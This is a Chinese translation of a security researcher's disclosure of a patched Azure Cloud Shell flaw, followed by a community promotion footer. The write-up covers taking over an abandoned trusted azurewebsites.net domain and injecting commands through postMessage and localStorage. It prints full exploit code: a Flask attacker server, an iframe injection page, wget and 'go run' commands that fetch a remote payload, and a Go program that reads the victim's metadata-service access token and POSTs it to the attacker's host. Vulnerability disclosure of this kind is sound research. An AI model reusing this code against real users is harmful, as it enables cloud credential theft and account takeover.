本文为译文,原文链接https://blog.lightspin.io/azure-cloud-shell-command-injection-stealing-users-access-tokens
Azure Cloud Shell 是一种交互式、经过身份验证、浏览器可访问的 shell,用于管理 Azure 资源。这篇文章描述了我如何接管 Azure Cloud Shell 受信任域并利用它在其他用户的终端中注入和执行命令。使用执行的代码,我访问了终端附加的元数据服务,并获得了用户的访问令牌。此访问令牌为攻击者提供受害者用户的 Azure 权限,并使他们能够代表其执行操作。
该漏洞已报告给 Microsoft,后者随后修复了该问题。
Cloud Shell 跨域通信
Cloud Shell控制台作为HTML iframe元素嵌入到Azure Portal中。
嵌入式iframe的源URL为:
https://ux.console.azure.com?region=westeurope&trustedAuthority=https%3A%2F%2Fportal.azure.com&l=en.en-us&feature.azureconsole=true
上面的URL中有两个有趣的地方需要注意:
1、嵌入式iframe的域是ux.console.azure.com,这与父窗口portal.azure.com的域不同。因为这是两个不同的源,所以它们之间应该有信任,可以通过JavaScript进行通信。
2、请求参数trustedAuthority可能是两个不同源之间这种信任的一部分。trustedAuthority参数的值是https://portal.azure.com,它与嵌入窗口的起源相匹配。
如果trustedAuthority参数在某种程度上是两个不同源之间信任的一部分,那么ux.console.azure.com应该使用它。让我们看一下ux.console.azure.com的JavaScript文件。
我将开始看main.js和搜索“trustedAuthority”。下图显示了匹配。
trustedAuthority请求参数值被分配给trustedParentOrigin变量。trustedParentOrigin变量稍后在isTrustedOrigin函数中用作起源检查的一部分。
isTrustedOrigin函数在名为allowedparentframeauthority的固定可信域列表中搜索trustedAuthority域。allowedparentframeauthorslist的值是:
var allowedParentFrameAuthorities = ["localhost:3000", "localhost:55555", "localhost:6516", "azconsole-df.azurewebsites.net", "cloudshell-df.azurewebsites.net", "portal.azure.com", "portal.azure.us", "rc.portal.azure.com", "ms.portal.azure.com", "docs.microsoft.com", "review.docs.microsoft.com", "ppe.docs.microsoft.com", "shell.azure.com", "ms.shell.azure.com", "rc.shell.azure.com", "testappservice.azurewebsites.us", "ux.console.azure.us", "admin-local.teams.microsoft.net", "admin-ignite.microsoft.com", "wusportalprv.office.com", "portal-sdf.office.com", "ncuportalprv.office.com", "admin.microsoft.com", "portal.microsoft.com", "portal.office.com", "admin.microsoft365.com","cloudconsole-ux-prod-usgovaz.azurewebsites.us","cloudconsole-ux-prod-usgovva.azurewebsites.us","admin-sdf.exchange.microsoft.com","admin.exchange.microsoft.com","cloudconsole-ux-prod-usnatwest.appservice.eaglex.ic.gov","cloudconsole-ux-prod-usnateast.appservice.eaglex.ic.gov","portal.azure.eaglex.ic.gov", "cloudconsole-ux-prod-ussecwest.appservice.microsoft.scloud","cloudconsole-ux-prod-usseceast.appservice.microsoft.scloud","portal.azure.microsoft.scloud", "admin-local.teams.microsoft.net", "admin-dev.teams.microsoft.net", "admin-int.teams.microsoft.net", "admin.teams.microsoft.com", "local-prod.portal.azure.com", "preview.portal.azure.com"];
域名“cloudshell-df.azurewebsites.net”被突出显示的原因将在本文后面解释。
isTrustedOrigin检查是在setupParentMessage函数中进行的,该函数在iframe文档准备好时执行。此外,在setuparentmessage函数内部设置了用于跨源通信的postMessage事件监听器和处理程序。
所有这些代码的反向演练可能会让人困惑,所以下面是一个流程图,显示了从打开ux.console.azure.com窗口开始的调用,以帮助可视化过程:
在这种情况下,使用postMessage进行跨源通信是一种已知的方法。为了保证通信的安全,接收消息的监听窗口应该检查触发消息的窗口的来源是否可信。您可以在这里阅读更多关于postMessage方法及其安全性的信息。
我想做的和AzurePortal一样,在HTML iframe中打开ux.console.azure.com。但是因为我只能使用我自己的域,它不包含在allowedparentframeauthorslist中,所以isTrustedOrigin检查将失败。虽然我确实完全控制trustedAuthority参数值,而且我可以使用https://portal.azure.com来通过isTrustedOrigin检查,但由于postMessageHandler函数检查事件起源,因此它将在过程的后面失败。
幸运的是,allowedparentframeauthors可信列表中的一个域是cloudshell-df.azurewebsites.net——这是一个Azure应用程序服务域。
接管Azure应用程序服务域
Azure App Service是一个完全托管的网络托管服务。当你创建一个Azure App Service web应用时,你需要为web应用资源选择一个名称。该名称用于为你的网站生成一个独特的域名,格式为<APP-NAME>.azurewebsites.net。
当我尝试访问https://cloudshell-df.azurewebsites.net时,我收到一个错误的“这个网站不能到达”与“DNS_PROBE_FINISHED_NXDOMAIN”。这个错误意味着“cloudshell-df”应用程序名称在Azure应用程序服务中没有被使用!所以,让我们接受它吧。
下面的截图显示了一个名为“cloudshell-df”的新Azure App Service web应用的成功创建。
创建初始Web应用程序内容
我从创建一个简单的Python Flask应用程序开始,它的index.html页面中只有iframe。
这是服务端app.py的内容:
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def index():
print('Request for index page received')
return render_template('index.html')
if __name__ == '__main__':
app.run()
这是templates/index.html的内容:
<html><iframe class="fxs-console-iframe" id="consoleFrameId" role="document" sandbox="allow-same-origin allow-scripts allow-popups allow-modals allow-forms allow-downloads" frameborder="0" aria-label="Cloud Shell" style="width: 50%; height: 50%;" src="https://ux.console.azure.com?region=westeurope&trustedAuthority=https%3A%2F%2Fcloudshell-df.azurewebsites.net&l=en.en-us&feature.azureconsole=true"></iframe> </html>
使用以下命令部署新的应用程序内容:
az webapp up --name cloudshell-df --logs
这是浏览器生成的应用程序:
它成功地通过了isTrustedOrigin检查。
探索postMessage消息选项
如您所见,shell本身的内容不会自动加载。这是因为shell窗口正在等待其父窗口的postMessage事件来开始创建终端。让我们看看shell控制台期望获得的消息结构。下面是main.js中postMessageHandler函数的内容截图。
第一个检查确保触发postMessage消息事件的源是可信的。因为父窗口域是cloudshelldf.azurewebsites.net,我通过了这个检查。从下面浏览消息数据的代码行中,我们可以理解外部数据结构应该如下所示:
{signature: "portalConsole", type: <TYPE>}
其中<TYPE>可以是四个选项之一:”postToken”, “restart”, “postConfig”或”postCommand”。
显然,“postCommand”选项引起了我的注意,所以我检查了handleCommandInjection函数的内容。
该函数进一步解析事件数据,但是在获得最终完成的命令之后,在第411行中有一个活动会话的检查。如果有一个打开WebSocket连接的活动云Shell终端,我们将有一个活动会话。我们可以尝试从我们的上下文启动这样的会话,但这将是无用的,因为它不会附加受害用户的凭证。“else”部分很有趣——它将命令保存在浏览器的localStorage中。下次从浏览器打开Cloud Shell终端套接字时,将执行来自localStorage的命令。下面的截图显示了从handleSocketOpen函数调用的writeInjectedCommands函数。
为了更好地理解命令的结构,让我们检查handleCommandEvtBody函数的代码,它在另一个JavaScript文件commands.js中。
在不深入了解函数本身的细节的情况下,我们可以看到,我们只能运行一组命令。我将使用wget和go命令。
我最后的postMessage消息内容是:
{
signature: "portalConsole",
type: "postCommand",
message: [{name: "wget", args: {value: "https://cloudshell-df.azurewebsites.net/payload.go"}},{name: "go", args: [{value: "run"}, {value: "payload.go"}]}],
cliType: "bash"
}
升级到Cloud Shell命令注入Payload
回到我的Flask应用程序,我将创建三个端点:
1、@app.route(‘/’)
这个端点将返回index.html页面,其中包含iframe中的Cloud Shell控制台。此外,将会有一个JavaScript发送一个postMessage消息,向localStorage注入以下命令:
wget 'https://cloudshell-df.azurewebsites.net/payload.go'
go run payload.go
2、@app.route(‘/payload.go’)
此终端将下载将在受害者的Cloud Shell终端内运行的有效载荷代码。该代码将访问Metadata服务以检索受害者的凭据。然后,该代码将把窃取的凭据发送给攻击者。
3、@app.route(‘/creds’, methods=[‘POST’])
这个端点接受窃取的凭据并记录它们。
这是服务端app.py的内容:
import os
from flask import Flask, render_template, request, send_from_directory
app = Flask(__name__)
def index():
print('Request for index page received')
return render_template('index.html')
def payload():
return send_from_directory(os.path.join(app.root_path, 'static'), 'payload.go', mimetype='application/x-binary')
def creds():
print("Got new creds!")
print(request.data)
return "OK"
if __name__ == '__main__':
app.run()
这是templates/index.html的内容:
<html>
<p>This page runs Javascript that injects the localStorage with the payload.</br>You will be redirected soon. Thanks :)</p>
<iframe class="fxs-console-iframe" id="consoleFrameId" role="document" sandbox="allow-same-origin allow-scripts allow-popups allow-modals allow-forms allow-downloads" frameborder="0" aria-label="Cloud Shell" style="width: 0%; height: 0%;" src="https://ux.console.azure.com?region=westeurope&trustedAuthority=https%3A%2F%2Fcloudshell-df.azurewebsites.net&l=en.en-us&feature.azureconsole=true"></iframe>
<script>
function sendPostMessage() {
frame = document.getElementById("consoleFrameId"); frame.contentWindow.postMessage({ signature:"portalConsole", type:"postCommand",
message: [{name: "wget", args: {value: "https://cloudshell-df.azurewebsites.net/payload.go"}}, {name: "go", args: [{value: "run"}, {value: "payload.go"}]}],
cliType: "bash"
}, "*");}
setTimeout(function(){ sendPostMessage();
setTimeout(function(){
window.location.replace("https://portal.azure.com/#cloudshell/");
}, 1000);
}, 2000);
</script>
</html>
这是static/payload.go的内容:
package main
import (
"fmt"
"io/ioutil"
"net/http"
"bytes"
)
func main() {
client := &http.Client{}
req, err := http.NewRequest("GET", "http://localhost:50342/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F", nil) req.Header.Add("Metadata", "true")
fmt.Println("Accessing Metadata.")
resp, err := client.Do(req)
if err != nil {
fmt.Println("An Error occured while accessing Metadata.") }
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
postBody := bytes.NewBuffer(body)
fmt.Println("Sending token.")
_, err = http.Post("https://cloudshell-df.azurewebsites.net/creds", "application/json", postBody) if err != nil {
fmt.Println("An Error occured while sending token.")
}
}
完整利用执行
1、受害者访问https://cloudshell-df.azurewebsites.net
2、JavaScript使用postMessage消息将命令注入到localStorage。
3、用户被重定向到https://portal.azure.com/#cloudshell/
4、打开Cloud Shell终端,命令从localStorage写入到终端。
5、Go payload被执行,从Metadata服务获取受害者的凭据,并将其发送给攻击者。
6、攻击者从应用程序日志中获取凭据。
我向微软安全响应中心(MSRC)报告了该漏洞,微软将“cloudshell-df.azurewebsites.net”从allowedparentframeauthorts列表中删除。Cloud Shell窗口不再信任此域。
时间线
2022年8月20日:向微软安全响应中心(MSRC)报告了漏洞。
2022年8月24日:MSRC确认了该问题并展开调查。MSRC给出了1万美元的赏金。
2022年8月29日:微软发布了补丁。
【火线Zone云安全社区群】
进群可以与技术大佬互相交流
进群有机会免费领取节假日礼品
进群可以免费观看技术分享直播
识别二维码回复【社区群】进群
【相关精选文章】
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)
// 火线Zone //
微信号 : huoxian_zone
点击阅读原文,加入社区,共建一个有技术氛围的优质社区!
原文始发于微信公众号(火线Zone):Azure Cloud Shell 命令注入窃取用户的访问令牌